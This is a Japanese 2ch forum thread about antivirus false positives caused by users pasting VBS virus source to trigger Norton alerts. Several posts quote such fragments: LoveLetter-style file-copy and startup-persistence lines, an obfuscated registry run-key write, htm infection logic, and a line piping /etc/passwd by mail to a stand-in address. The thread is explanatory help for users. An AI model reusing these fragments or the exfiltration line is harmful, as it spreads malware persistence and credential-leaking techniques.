ノートンがvbsウィルスのソースに誤反応3

1他のアンチウィルスソフトが反応する場合もあります

只今2chでvbsのウィルスのソースを貼りノートンなどのセキュリティツールを誤反応させるのが流行っています。

あまりにも質問スレなどで既出の(このvbsの)質問が多すぎるのでこのスレへURLを貼って誘導してください。

また新たなパターンのvbsが見つかったら一応このスレで報告願えると幸いです。

■この問題について■

2chのスレにvbsウィルスのソースを書き込むことによってブラウザがそのスレのhtmlファイルをダウンロードする際に

ウィルスのパターンと一致するので、ウィルスが検出されたとノートン先生などが騒ぎます。(設定によっては反応しないこともありますが、全く問題ありません)

ご存知の通り、htmlを読んでもこのvbsのソースは実行されることは無いので、全く問題ありません。

また、デフォルトだとIEはInternet Temporary Filesフォルダにhtmlをダウンロードしますので、感染ファイルはここのhtmlファイルにになります。

これらのファイルは削除しても全く問題ありませんが、該当スレを読み直すとまたvbsのソース付きhtmlがダウンロードされてしまうので警告が出ます。

■まとめと対策■

2ちゃんねる見ていたらvbsウィルスが検出された!

hhttp://info.2ch.net/wiki/pukiwiki.php?%A5%CE%A1%BC%A5%C8%A5%F3%C6%FE%A4%EC%A4%BF%A4%E9%A3%B2ch%A4%CB%BD%F1%A4%AD%A4%B3%A4%E1%A4%CA%A4%A4%BF%CD%A4%D8#faq12

2ちゃんねる専用ブラウザでノートンを使うと今まで取得したログが抹消されてしまい、スレを再表示した時全てが新しいレスになってしまいます、どうすれば解決できるでしょうか?

hhttp://info.2ch.net/wiki/pukiwiki.php?%A5%CE%A1%BC%A5%C8%A5%F3%C6%FE%A4%EC%A4%BF%A4%E9%A3%B2ch%A4%CB%BD%F1%A4%AD%A4%B3%A4%E1%A4%CA%A4%A4%BF%CD%A4%D8#faq08

2chブラウザのログ保存フォルダを「除外」に設定。

NAV2003以降はNorton Anti Virusのオプションで手動スキャンとAuto-Protectでそれぞれ除外の指定をして下さい。

前スレ

ノートンがvbsウィルスのソースに誤反応

hhttp://pc.2ch.net/test/read.cgi/sec/1025872269/

ノートンがvbsウィルスのソースに誤反応2

hhttp://pc5.2ch.net/test/read.cgi/pcqa/1033948204/

テンプレ>>1-10あたり

9ひよこ名無しさん

◆◇◆ 報告用テンプレ ◆◇◆  (暫定)

■>>1-9を読みましたか?            『YES/NO』

■2ちゃんねるの板・スレ・レス番のアドレス  『 』

■ノートンのメッセージ(ウイルス名)        『 』

■ブラウザの種類                 『 』

■ノートンのヴァージョン             『 』

■ノートン以外のアンチウイルスソフト名    『 』

■その他.                        『 』

371名無しさん@お腹いぱーい。2005-12-12 00:37:26

現在、2ちゃんねるではNIS(NPF)のファイアーウォールを誤作動させるコードの書き込みが出回っています。

アンチウイルス(NAV)は反応しないのでファイアーウォールの設定を見直さなければなりませんがあくまで暫定的処置です。

2chNIS問題まとめページ

hhttp://mickey.mirv.net/2chnis.html

ノートン応急対策

hhttp://info.2ch.net/wiki/pukiwiki.php?%CA%E4%C2%AD%A4%C8%CA%E4%B4%B0#Norton_Emergency_measures

hhttp://ansitu.xrea.jp/guidance/?NortonInternetSecurity#Emergency_measures hhttp://ansitu.xrea.jp/guidance/?Trap#Emergency_measures

hhttp://wiki.livedoor.jp/kizyo1234/d/%a5%ce%a1%bc%a5%c8%a5%f3%b4%d8%cf%a2

この場合2ちゃんねるに対してファイアーウォールの機能は働きません。

また、同様なコードが2ちゃんねるではない外部板に貼られていても上記ページのような設定はお勧めしません。

シマンテックの対応待ちです。

アンチウイルス(NAV)の設定は>>1

hhttp://ansitu.xrea.jp/guidance/?Trap#NortonTrap

490ひよこ名無しさん2006-03-26 13:41:53

>>1を読んだんですが、

ログ保存フォルダを手動スキャンから除外するのは何故なんでしょうか?

2ひよこ名無しさん

■既知のvbsウィルスのソース■

・VBS.Internal

出元はhhttp://tmp.2ch.net/test/read.cgi/download/1025717301/197だと思われる。

ダウソ板からいろんな板へ飛び火した模様。

・VBS.LoveLetter.A

c.Copy(dirsystem&”LOVE−LETTER−FOR−YOU.TXT.vbs

(反応しないように全角で書いてあります)出元不明。ニュー速から?

一般論として「htm」「html」拡張子などを安易に検索対象から外すことは奨励されません。これを感染ターゲットにするウィルスが数種確認されています。

hhttp://www.symantec.com/region/jp/sarcj/data/v/vbs.internal.html

Q.ウイルスコードが貼られているのにノートン反応しない。。。

A.ウイルスコードが貼られている2ちゃんねるのスレをテストページとして使用するのは奨励されない。

なぜなら、ここで言われているノートンの反応は単なる掲示板とスキャンエンジンの「仕様の衝突」であり、

これからも同じページを見ればその都度反応するという保証がないから。

仕様というものは、ある時突然変更されたりするもの。

ネットサーフィン中のウイルス対策ソフトの常駐動作確認は、テスト用に作られたEICARテストファイルにアクセスして行うべき。

EICARテストファイル(正常に常駐していればURLにアクセスと同時に反応します)

hhttp://www.eicar.org/download/eicar.com.txt

10ひよこ名無しさん

2ちゃんねるに貼られたウイルスコードに誤反応していたことがわかったら

インターネットエクスプローラの場合

ツール→インターネットオプション→インターネット一時ファイル、ファイルの削除

これをしないでウイルススキャンしたらインターネット一時ファイル(Temporary Internet Filesフォルダ)でウイルス反応がでます。

また、該当レスを再び読み込むとウイルス反応がでます。

2ちゃんねるブラウザを使って以下の設定をして2ちゃんねるを見ましょう。

2ちゃんねるブラウザの場合

2ちゃんねる専用ブラウザでノートンを使うと今まで取得したログが抹消されてしまい、スレを再表示した時全てが新しいレスになってしまいます、どうすれば解決できるでしょうか?

hhttp://info.2ch.net/wiki/pukiwiki.php?%A5%CE%A1%BC%A5%C8%A5%F3%C6%FE%A4%EC%A4%BF%A4%E9%A3%B2ch%A4%CB%BD%F1%A4%AD%A4%B3%A4%E1%A4%CA%A4%A4%BF%CD%A4%D8#faq08

2chブラウザのログ保存フォルダを「除外」に設定。

NAV2003以降はNorton Anti Virusのオプションで手動スキャンとAuto-Protectでそれぞれ除外の指定をして下さい。

11ひよこ名無しさん

よろ

kak.hta’;ken=wdt’START

ms-its:mhtml:file://c:

13ひよこ名無しさん

hhttp://c-au.2ch.net/test/-/pcqa/1033948204/928

このウイルスを解説してください

14ひよこ名無しさん

DAT落ち阻止て神戸♪

>>13

VBS.LoveLetter.Var

hhttp://pc5.2ch.net/test/read.cgi/pcqa/1033948204/928

ウイルスコードが貼られているのにノートン反応しないって人は>>2見てね。

15ひよこ名無しさん

ありがとう

しかしラブレター1個だけではないはず。

カーネルやネットワークも入っている。

一つ一つ解説してください。

16ひよこ名無しさん

c.Copy(dirsystem&”MSKernel32.vbs”)

c.Copy(dirwin&”Win32DLL.vbs”)

c.Copy(dirsystem&”LOVE-LETTER-FOR-YOU.TXT.vbs”)

cat /etc/passwd | mail nobody@nonexistent.com

If s = “htm” and fso.FileExists(f1.path+”l”) = False thenfso.CopyFile f1.path, f1.path+”l”

Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)

fso.copyfile “c:
etwork.vbs”, “j:windowsstart menuprogramsstartup”

fso.copyfile “dirsystem&nurupo.vbs”, “j:windowsstart menuprogramsstartup”

If s = “htm” and fso.FileExists(f1.path+”l”) = False then fso.CopyFile f1.path, f1.path+”l”

↑こういうのって最初に気づいた奴って天才だよな

17cen ◆Pm9xOTJuM.

あ。そうそう。

>>16 みたいなスクリプトを誤反応しないような、datファイルに

datを作り変えるプログラム作ってみました。

よかったら使ってみてください。

hhttp://www.geocities.jp/cen_hp/index.html

794ひよこ名無しさん2011-02-25 17:01:17

標準のブラウザでも>>16とかを開けば反応するでしょ

76ひよこ名無しさん2005-04-27 04:32:31

hhttp://news18.2ch.net/test/read.cgi/anime/1114540249/

>>17の奴のウイルスってどうやって除外するんですか?本気でむかつきます

347cen ◆Pm9xOTJuM. 2005-11-22 02:12:37

>>17 のソフトの紹介ページを更新しましたです。

hhttp://www.geocities.jp/cen_hp/program3.html

18ひよこ名無しさん

あやすい・・・・・

19cen ◆Pm9xOTJuM.

>>18

自分のパソコンで何度も実行してますが、大丈夫ですよー。

さっき総質で見た、未対応のスクリプトに対応させました。

22ひよこ名無しさん

==================================

=================/∧ =========/∧

===============/ / λ=======/ / λ        ー

=============/  /  λ====/  /  λ        ー /

===========/   /  /λ =/   /  /λ        /

=========/    / / //λ    / / //λ       __

=======/           ‾‾‾      \     ___

=====./        /‾ )         (‾ヽ λ       /

====/        /●/          \● /λ     /

===/        //                \  /λ

===|                            / /|   ___|____

==|           ∧________   / //|    /

==|           ヽ───────〆   /////  /|\

===|                        / / ////|    |

===\                      / / /////

=====\_                   / //////__/.      |

========\                   ミ/          |

==========\                 /         ─┐

============\                \ .          ─┤

==============\                \      .   ─┘

================\                \

==================\ ・                \

=====================

======================

24ひよこ名無しさん

未だにVIPの板更新すると、ノートン先生の逆鱗に触れてしまうオイラですが

2chのスレにvbsウィルスのソースを書き込むことによってブラウザがそのスレのhtmlファイルをダウンロードする際に

ウィルスのパターンと一致するので、ウィルスが検出されたとノートン先生などが騒ぎます。(設定によっては反応しないこともありますが、全く問題ありません)

らしいです、騒いでごめんなさい。

2chにかぎっては心配(゜⊿゜)イラネみたいです。

27ひよこ名無しさん

>>24

漏れもソレダ!!!

もう無視しまくりんぐwwwwwww

29ひよこ名無しさん

A Boneを使用してるのですが、PC初心者の上の「初心者の質問」板をクリックするだけで、ノートンがウイルスを検知してしまいます。

しかも板を開く事もできません。毎回そうなってしまいます。

昨日、システムをスキャンしたら確かに感染していました。「初心者の質問」板だけ毎回そうなります。

これは何でしょうか?

38ひよこ名無しさん2005-03-26 15:19:56

Norton Anti Virusと使ってます。

ウイルス、Unix PenguinをNGワードに登録するには

どんな単語をNGワードにすればいいんですか?

Unix Penguinと反応するスレ内見てもそれらしい書き込みがないので分かりません。

39ひよこ名無しさん2005-03-26 16:10:26

>>38

NGワードに登録するんではなく

Norton Anti VirusのオプションのAuto-Protectと手動スキャンでログフォルダを除外に指定しる

40ひよこ名無しさん2005-03-26 16:12:46

>>39

いや、それはやってるんですけど、反応するんです。

多分、キャッシュフォルダの方も除外指定にしないとだめっぽいです。

でも、それはセキュリティー的によくないってどっかに書いてあったんで、

NGワードに登録したいんですけど、できないんでしょうか?

41ひよこ名無しさん2005-03-26 16:16:33

>>40

2ちゃんねるブラウザのログフォルダを除外にしても2ちゃんねるブラウザで閲覧中に反応するの?

42ひよこ名無しさん2005-03-26 16:26:59

>>41

そうです。Norton Anti VirusとLive2chの組み合わせでAnti Virusの設定で

Live2chのログフォルダは除外に設定してます。

でも、Live2chで見てるとUnix Penguinだけ反応します。

43ひよこ名無しさん2005-03-26 16:29:39

>>42

設定パス間違えてない?

49ひよこ名無しさん2005-03-26 16:38:45

>>43

いや、間違えてないと思います。

なんか他のウイルスにも反応してる。。。Network.E。

44ひよこ名無しさん2005-03-26 16:32:08

これはどうだ?

fso.copyfile “c:
etwork.vbs”, “j:windowsstart menuprogramsstartup”

c.Copy(dirsystem&”LOVE-LETTER-FOR-YOU.TXT.vbs”)

c.Copy(dirsystem&”LOVE-LETTER-FOR-YOU.TXT.vbs”)

ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)

c.Copy(dirsystem&”LOVE-LETTER-FOR-YOU.TXT.vbs

G.RegWrite A(“IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su”), E.BuildPath(E.GetSpecialFolder(1), A(“VHORU@SU/WCR”))

lines(n)=replace(lines(n),””””,chr(93)+chr(45)+chr(93))

ms-its:mhtml:file://c: cat /etc/passwd | mail nobody kak.hta’;ken=wd+’START

45ひよこ名無しさん2005-03-26 16:33:47

と思ったら、VBS.Network.Eとかいうのも反応しっちゃってるよwww

どういうこと?

48ひよこ名無しさん2005-03-26 16:37:34

>>45

、-”'”´‾‾`”””-、

/ / ;;;;;;;;;;;;;  \ \⌒⌒

/ ..::;;● ;;;;;;;;;;;;;, ●;;;;;;;;;::ヽ  ^^

|. .::;;;;;;;;;;;(__人__);;;;;;;;;;;;;;;;::.|

‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾

:::::;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::

:::::::;;;;;;;;;;;;;;;;;;;;;;;;;

::::::::::::::::∧_∧   そうやってなんでも

::::::::: ( ::;;;;;;;;:)      VIPのせいにしてりゃいいさ…

_..  /⌒:::;;;;;ヽ

-— —’ー’-”—-”/ / ::;;;;;;;;:| |—”’ー’-”——’`’

,,  ”” .  ””’ と./ゝ_;_;_ノヽつ   、、, ””        それがVIPクオリティ…

,,, ”  ,,,    ::;;;;;;;;;::: ,,  ””’  ,,,,        hhttp://ex7.2ch.net/news4vip

46ひよこ名無しさん2005-03-26 16:35:49

それでええんや。

398ひよこ名無しさん2006-01-22 05:06:59

すみません。色々やったけどギブですorz質問よろしいでしょうか…

■janeDoeα 0.1.12.2■xp■NIS2004■>>1-9は読みました

>>51>>56さんとややケースが似てるんですが…

最近ノートン2004を再インスコしたので、前と同じ方法(>>1)で

また専ブラのlogフォルダを除外設定しました、が、何故か今度はどう設定やり直しても

下記のスレで先生に怒られます。

<img src='http://pc7.2ch.net/test/read.cgi/pcqa/1109609938/(このスレです…)

警告メッセージのスクショ↓

http://vipquality.orz.hm/imageup/file/onz27560.jpg’>(このスレのです。これが2回でます)

(下のスレのです)

で、何度設定しても駄目だったのでこのソフトを入れて、トラップの無効化を試みたんですけど

やっぱり上記のスレで先生に怒られます。何回かこのソフト起動させてみたんですが

無効化成功してるよ。みたいなメッセージが出るだけで、依然として先生は怒りまくりだし

もうどうしていいか分かりません。誰か助けて〜(つД`;)

62ひよこ名無しさん2005-04-09 00:06:17

Norton Anti VirusのAuto-Protectと手動スキャンで壺フォルダを除外に指定しても、壺で閲覧中に反応します。

よくわかりません・・・orz

63ひよこ名無しさん2005-04-09 00:07:00

60です

72ひよこ名無しさん2005-04-22 19:25:55

∧        l’vヘ

ハ ┌( ;/ ト, ,、 rヘ  r’^ナrジ-z

__}ヽ,__ (ヽ/ス_r^フしz,り い)n/イr〜^′

‘っヾ、r’__  |レ’ノ_C’入彳勺ソメろ_j/し-,_

`フ ヾ勹_| <_r’ !|刀_」r”>||/⌒(_rヘ-‐’

<_ゝし||フぅ(ひzメ__ゝ’l !’そ

~zヾ|て 、l レ^ //’| |’~

| | ヽl| // }|

| :! || | | ,/ ,’       すいません、ちょっと通りますよ

| :{. || | |/ /

l !|| | | /

ヽ ヽ.|/ //

_,r)_ j (_,(           ciz

,ノこ_- __,ーヽ         ん|Zゥ レz  zjそ_

}    …  丿        ろ、,_!|乙7ムLそ/し-z

ノ”””   一(          `う.l !シ/ア了//_⊂,

/、__      ヽ         ^’| |~//,/_ソ ハr^

/    ……     ーl         | |// //ノ

/~”‘ 、__/   ,,,…}        |/ ///

{‘ _  `y′ 一  /         r’〜(_ノ

人   =/‐-     ハ       丿”  ”(

ヽ ” /  __,,  /       / ‐-  ”’)

‘∨     X.        }”’   ….ノ

j    ー/        /==  ノ’ヽ

/=‐  r’´-ヽ        }  ー/””  {

,’ _,, 人 ””`、      ノ.. ” ノ`ヽ ””ヽ

{ー /  \ -‘}     / /    \”’}`

ハ  〈      )八     ( f       )ハ

ヽ )   ((        )ノ      /

ノ/     ’)    _/

75ひよこ名無しさん2005-04-25 01:12:19

ウイルス対策ソフトの検出力調査結果

hhttp://www.geocities.jp/stealrush/security.html

82ひよこ名無しさん2005-04-29 19:58:14

>>80

>>81

いろいろとありがとうございました。

あいつら(大空寺とかネオとか)どうにかならないもんですかね…

88ひよこ名無しさん2005-05-08 22:01:59

hhttp://info.2ch.net/wiki/pukiwiki.php?%A5%CE%A1%BC%A5%C8%A5%F3%C6%FE%A4%EC%A4%BF%A4%E9%A3%B2ch%A4%CB%BD%F1%A4%AD%A4%B3%A4%E1%A4%CA%A4%A4%BF%CD%A4%D8

98ひよこ名無しさん2005-05-22 02:22:35

勇気が無くて見られない画像解説スレ Part702

<img src='http://etc3.2ch.net/test/read.cgi/entrance/1116419123/

すいません、↑のスレッドをLive2chで開いただけで

発生源:C:Documents and SettingskousukeLocal Settings

Temporary Internet FilesContent.IE5MVAP076Fwoid[1].jpg’>

Trojan Horse

とか出るんですけど、誤反応ですか?

vbsのウィルスコードと大空寺のメール蘭攻撃は

除外しているはずなんですが。

ありえないとは思いますがて開いただけで感染したんですか?

Trojan Horse

ウィルス名:

Trojan Horse

別名:

感染場所:

.EXE ファイル

99ひよこ名無しさん2005-05-22 02:28:48

>>98

そのファイルはjpgじゃなくて、exeということらしい。

誤反応ではなくて、本物。

スレを開いただけでは感染しないけど、

その画像ファイルをIEで開くと感染する可能性がある。

100982005-05-22 02:46:42

>>99

おそらく原因のレスは

hhttp://etc3.2ch.net/test/read.cgi/entrance/1116419123/899-

だと思いますが、これ画像そのものはクリックしてないんですが

ただスレッドを開いた瞬間ノートン先生が激しく怒ったス

ログを見ても

アクセスが拒否されました。

修復できませんでした。

としか出てません。

最新のウィルス定義ファイルを落とさないと駆除できないみたいですが、

これは最近のということでしょうか?

そして、今自分のPCにTemporary Internet Filesや

他の場所にウィルスが潜伏してるということはないんでしょうか?それを開くとアウツみたいな。

101ひよこ名無しさん2005-05-22 02:49:13

>>100

そこの899だよ。

でも、ノートンが隔離してるはず。

そうでなくても、IEの一時ファイルをクリアして、ごみ箱を空にするだけでいい。

102982005-05-22 02:51:49

>>101

レスサンクス

この.jpgブラクラは最近登場したんでしょうか

これからまた誤反応する人とかいっぱいでるんでしょうか

864ひよこ名無しさん2017-07-02 18:22:23

>>10 >>46 >>102

落ちろ!

1611512005-06-09 23:02:46

読みます!

最近外国のサイトの広告みたいのが表示されることがあって…

リカバリでその辺も治りますか?

162ひよこ名無しさん2005-06-09 23:09:30

>>161

直る

892ひよこ名無しさん2017-07-02 18:29:52

>>42 >>19 >>162

落ちろ!

192ひよこ名無しさん2005-06-20 18:43:13

ひろゆきは2ch総合案内に対処法載せてくれないの?

初心者はこんな所見ないと思うのだが…

193ひよこ名無しさん2005-06-20 19:34:26

>>192

そんなこと書かなくても、根本的に対策できるのに3年以上放置。

ノートンも放置。

そんなもんさ。

279ひよこ名無しさん2005-08-30 19:57:15

良スレあげ

306ひよこ名無しさん2005-10-10 06:58:30

hhttp://news19.2ch.net/test/read.cgi/news/1128874250/

これ↑ってウイルスですか?

開いたらノートン先生が反応したんですけどつД`)

Mac OS10.3 IEmac5.2 です

検疫に引っかかったファイルがあり状態は感染でした

307ひよこ名無しさん2005-10-10 07:35:47

>>306

レスの中にウィルスのような動作をするスクリプトの一部が含まれています。

あくまで一部ですし、Windows向けに作成されたものだし、スクリプトを実行する現実的な方法も

存在しないので、被害を受けることは絶対にありません。

このように危険のない対象までウィルスとして感染警告するのはノートンの仕様です。

そういったノートンの挙動を悪用した悪戯なので気にしないでください。

詳しくはこのスレの>>1-10あたりをよく読んでください。

ちなみにこのスレを読み込んだときもノートンが反応すると思います。

308ひよこ名無しさん2005-10-10 07:42:27

>>307

ありがとうございました!安心しました。

900ひよこ名無しさん2017-07-02 18:32:00

>>40 >>82 >>308

落ちろ!

334ひよこ名無しさん2005-11-01 03:53:50

勝手に修復したり隔離したりする設定になってると、困ることもある。特に2ch専用ブラウザ使ってる場合。

375ひよこ名無しさん2005-12-14 08:34:01

てt

913ひよこ名無しさん2017-07-02 18:35:28

>>82 >>62 >>375

落ちろ!

394ひよこ名無しさん2006-01-09 23:41:35

バージョン 】 1.12

【  スキン   】 default

【   IE   】 6.0.2900.2180

【 Windows 】 Windows XP Home Edition (Service Pack 2)

【  不具合  】 生活板がどのスレッドも見れません。

【詳しい内容 】  ボードデータの更新をしても、スレッドの更新をしても、再インストールしても

見れません。ちなみに専用ブラウザを使用しなくても見れなくなってしまいました。

何が原因なのでしょうか…?

964ひよこ名無しさん2017-07-02 18:49:06

>>93 >>92 >>394

落ちろ!

401名無しさん@お腹いぱーい。2006-01-22 19:21:57

>>398

今一度、Norton Anti Virusのオプションで

手動スキャンとAuto-Protectでlogフォルダの除外の指定をしているか確認してください。

該当スレに書き込んだ・該当スレをお気に入りに入れた・ウイルスコードを検索したりすると

幾つか除外の指定を増やすことになるのでご注意ください。

Janeの場合

Jane2chLogs

Jane2chfavorites.dat

Jane2chkakikomi.txt

Jane2chSearchHistory.txt

ε三(; ・∀・)鯖マデオツカイの場合

otsukai
esult.dat

詳しくはお使いの2ちゃんねるブラウザのスレのテンプレや

2ちゃんねるブラウザのヘルプ

2ちゃんねるブラウザ配布サイト等のFAQなどを参照してください。

402名無しさん@お腹いぱーい。2006-01-22 19:46:59

>>401補足

増えた項目の内、

Jane2chfavorites.dat

Jane2chkakikomi.txt

otsukai
esult.dat

↑はスレタイに反応した場合です。

983ひよこ名無しさん2017-07-02 18:54:11

>>11 >>92 >>402

落ちろ!

407ひよこ名無しさん2006-01-31 10:00:47

先程、他のスレッド見ていたら、ノートンの低危険度の表示が出てきて遮断をクリックしたら、あらゆるホームページが見れなくなりました。原因解るかた教えてください。宜しくお願いします。m(__)m

408ひよこ名無しさん2006-01-31 10:02:30

>>407

誘導されたらそう書け

それと普通>>1から読むもんだ

既知の質問を延々と繰り返し答えさせられるこっちの身にもなれ

410ひよこ名無しさん2006-01-31 10:08:09

>>408

はぁ?おめーから何も答えてもらってねーぞ。

解らねーんだったらいちいち出てくんじゃねぇよアフォ

415ひよこ名無しさん2006-01-31 10:16:50

>>410

この部分ね

2005年11月28日現在、2ちゃんねるではNIS(NPF)のファイアーウォールを誤作動させる

コードの書き込みが出回っています。

アンチウイルス(NAV)は反応しないのでファイアーウォールの

設定を見直さなければなりませんがあくまで暫定的処置です。

NIS2005の場合(多分NIS2006も同じ)

997ひよこ名無しさん2017-07-02 18:57:55

>>86 >>46 >>415

落ちろ!

428ひよこ名無しさん2006-02-06 19:42:50

なんかjaneでこのスレ読むとレス番がずれまくりなんですけど

これ直す方法はないんでしょうか…?何度再読み込みしても

421さんが406さんになっちゃいます…↓

> 406 名前:421[] 投稿日:2006/02/03(金) 14:40:06 ID:ZZST2Rw7

logフォルダの除外設定はしてあるので、先生も怒ってないんですが…

ノートン2004でxp。専ブラはjaneDoeView α051128です

430名無しさん@お腹いぱーい。2006-02-07 01:18:43

>>428

一旦ログを破棄してから読み込みでどうですか。

それと>>371にもありますがNIS(NPF)のファイアーウォールを誤作動させるコードもあるので

以下の設定もしてみてください。

現在、2ちゃんねるではNIS(NPF)のファイアーウォールを誤作動させるコードの書き込みが出回っています。

アンチウイルス(NAV)は反応しないのでファイアーウォールの設定を見直さなければなりませんがあくまで暫定的処置です。

2chNIS問題まとめページ

hhttp://mickey.mirv.net/2chnis.html

ノートン応急対策

hhttp://info.2ch.net/wiki/pukiwiki.php?%CA%E4%C2%AD%A4%C8%CA%E4%B4%B0#Norton_Emergency_measures

hhttp://ansitu.xrea.jp/guidance/?NortonInternetSecurity#Emergency_measures hhttp://ansitu.xrea.jp/guidance/?Trap#Emergency_measures

hhttp://wiki.livedoor.jp/kizyo1234/d/%a5%ce%a1%bc%a5%c8%a5%f3%b4%d8%cf%a2

この場合2ちゃんねるに対してファイアーウォールの機能は働きません。

また、同様なコードが2ちゃんねるではない外部板に貼られていても上記ページのような設定はお勧めしません。

シマンテックの対応待ちです。

アンチウイルス(NAV)の設定は>>1

hhttp://ansitu.xrea.jp/guidance/?Trap#NortonTrap

4314282006-02-07 06:33:12

>>430

丁寧なレスありがとうございました。火壁の設定してログ捨ててみたら

ズレてるの直りました!感謝です!

438ひよこ名無しさん2006-02-24 07:54:27

2chブラウザのログ保存フォルダを「除外」に設定して、2ちゃんのスレで

ウイルス踏んじゃったらどうなるんですか?ノートンは守ってくれないんですか?

440ひよこ名無しさん2006-02-24 14:13:12

>>438

2chブラウザのログ保存フォルダにウィルスが入り込むことはありません。

ノートンがログ保存フォルダからウィルスを見つけたと言い出しても、スレタイにある通り誤認です。

リンクをクリックして起動したWebブラウザがウィルスのあるページを読み込もうとしたときは

ちゃんと守ってくれます。

441ひよこ名無しさん2006-02-24 23:01:38

>>438

__

/;;;;;;;;;;;;;\

/;;:::::::::::::::::::::::\

∈=━/,,;;:::::::::::::::::::::::::.;ヽ━=∋

L::;;,__     ..:::ゝ

//;;;;::::::..‾‾‾‾..::::;;;ヽ

/ ;;;;;;;;:::::::::::;;;;;;;;;;;;;::::::::;;;;; ヽ

/j/三三三三三三三三三三ヾ、

l::||::::              |l

/‾\ ヽ-=・=-′ヽ-=・=-′ ||

r┤    ト::::: \___/     ||     <信じろ!

/  \_/ ヽ:::.  \/    ,ノ

|   _(‾ l——oo-——'”ヽ__

|   _)_ノヽ\  ハ // /    ヽ

ヽ____)ノ     ‾‾‾   /     ヽ、

442ひよこ名無しさん2006-02-24 23:29:37

>>440

ありがとうございます

443ひよこ名無しさん2006-02-28 01:33:27

JANE DOE STYLEでvbs踏んで、20分後くらいから何かプログラムを実行しようとする度に

ノートンが「xxxxxが1つ以上の認識されないモジュールを使ってインターネットにアクセスしようとしています」

と出て、許可にしないとプログラム実行されず、何も出来ないのですが、これはウィルスに感染してるのでしょうか?

スキャンしても検出されず、過去ログ検索対象外にしても出続けます。

知恵をください。お願いします。

444ひよこ名無しさん2006-02-28 09:18:46

>>443

VBSを踏んだってのはソースが貼り付けてあるスレを開いたってこと?

それともVBSが実行されたってこと?

4454432006-02-28 11:01:38

>>444

スレを開いただけです。

遮断ばかりしてたらいつの間にか上記のような状態になってしまってまして、

通信許可にしないと、どのプログラムも動きません。

890ひよこ名無しさん2017-07-02 18:29:19

>>75 >>63 >>445

落ちろ!

469釣り氏 ◆RaigyoS2No 2006-03-24 12:54:46

これは他スレで使ってるコテなので気にしないでください。

471ひよこ名無しさん2006-03-24 12:58:06

>>469

何だ釣りなのか。

思いっきり釣られちゃったよ(´∀`)

なかなかの釣り師ですね。

473釣り氏 ◆RaigyoS2No 2006-03-24 12:59:42

>>471

このコテはリアルで魚釣りなんで・・・・。

マジレスお願いします・・・。

478ひよこ名無しさん2006-03-24 13:08:25

>>473

本当に「インターネットセキュリティではなくアンチウイルス」なら、これが

参考になるかも(自分は2年ほど前にノートンやめたので確認できないが)

hhttp://qb5.2ch.net/test/read.cgi/operate/1142464918/781

945ひよこ名無しさん2017-07-02 18:44:02

>>51 >>24 >>488

落ちろ!

492ひよこ名無しさん2006-03-26 14:18:37

>>490

誤反応させないようにするためじゃないの?

952ひよこ名無しさん2017-07-02 18:45:54

>>29 >>15 >>490

落ちろ!

513sage2006-04-10 21:58:13

テスト

524ひよこ名無しさん2006-04-15 16:37:44

一昨日くらいからスレが見れなくなった

もちろんログ除外はしてあるのに、ノートン切ると見れる

どうして?ちなみに専ブラはギコナビ

525ひよこ名無しさん2006-04-15 23:21:55

>>524

誤反応

914ひよこ名無しさん2017-07-02 18:35:44

>>16 >>22 >>525

落ちろ!

550cen ◆Am9xOgNMYE 2006-05-30 02:32:51

忘れてました。

こちらです。

hhttp://www.geocities.jp/cen_hp/index.html

925ひよこ名無しさん2017-07-02 18:38:41

>>45 >>49 >>550

落ちろ!

6146122006-07-01 00:39:41

ただ、これ書いた人がカードゲームのトレードスレに

自分のメルアド出してブログバレしてます

636ひよこ名無しさん2006-07-30 19:55:34

クリーンインストールってなに?

640ひよこ名無しさん2006-08-03 17:37:02

>>636

ぐぐっておいてやった。参考にしる。

hhttp://www.google.co.jp/search?hl=ja&q=%E3%82%AF%E3%82%A4%E3%83%BC%E3%83%B3%E3%82%A4%E3%83%B3%E3%82%B9%E3%83%88%E3%83%BC%E3%83%AB&lr=

hhttp://www.google.co.jp/search?hl=ja&q=%E3%82%AF%E3%83%AA%E3%83%BC%E3%83%B3%E3%82%A4%E3%82%B9%E3%83%88%E3%83%BC%E3%83%AB&lr=

hhttp://www.google.co.jp/search?hl=ja&q=%E3%82%AF%E3%83%AA%E3%83%BC%E3%83%B3%E3%82%A2%E3%83%B3%E3%82%A4%E3%83%B3%E3%82%B9%E3%83%88%E3%83%BC%E3%83%AB&lr=

hhttp://www.google.co.jp/search?hl=ja&q=%E3%82%AF%E3%83%AA%E3%83%BC%E3%83%B3%E3%82%A4%E3%83%B3%E3%82%B9%E3%83%88%E3%82%A5%E3%83%BC%E3%83%AB&lr=

hhttp://www.google.co.jp/search?hl=ja&q=%E3%82%AF%E3%83%AA%E3%83%BC%E3%83%A0%E3%82%A4%E3%83%B3%E3%82%B9%E3%83%88%E3%83%BC%E3%83%AB&lr=

どれも似たような内容なので、好きなのを選べばいいべさ

658ひよこ名無しさん2006-08-29 22:27:40

727 名前: 動け動けウゴウゴ2ちゃんねる 投稿日: 2006/03/26(日) 16:24:59 ID:pwaEyKGo0

>>726

参考までに・・・ただし、自己責任で

ノートンアンチウイルス2006 Ver.1

hhttp://pc8.2ch.net/test/read.cgi/sec/1129452372/996

> まず、オプション→インターネット→インターネットワーム防止→除外の設定で、

> HTTP MSIE JavaScript OnLoad Rte CodeExecのチェックを外す。

> そのあと、オプション→インターネット→インターネットワーム防止→

> AutoBlockルール→現在、AutoBlockで遮断しているコンピュータで、

> 遮断解除してok。で、ok。

703ひよこ名無しさん2006-10-13 04:39:42

Norton Anti Virus2006を使っています。

>>658の操作中、「現在、AutoBlockで遮断しているコンピュータ」

のところに何もアドレス等が載ってないのですが

どうすればこの先誤反応解除の操作を進められるんでしょうか。

704ひよこ名無しさん2006-10-13 09:16:01

>>703

専用ブラウザのフォルダごと全て除外にしたら俺は止まったよ

同じNorton Anti Virus2006だけど

705ひよこ名無しさん2006-10-13 09:28:32

>>703

なにも載ってないってことは

丁度そのときに遮断されてないのだから解除する必要はない。

前半の設定ができていれば問題ないのでは?

>>704

その設定で止まるやつと

インターネットワームの誤反応とは別物だよ。

715ひよこ名無しさん2006-10-14 14:20:25

ノートンが反応して、偽ウイルスを削除した場合

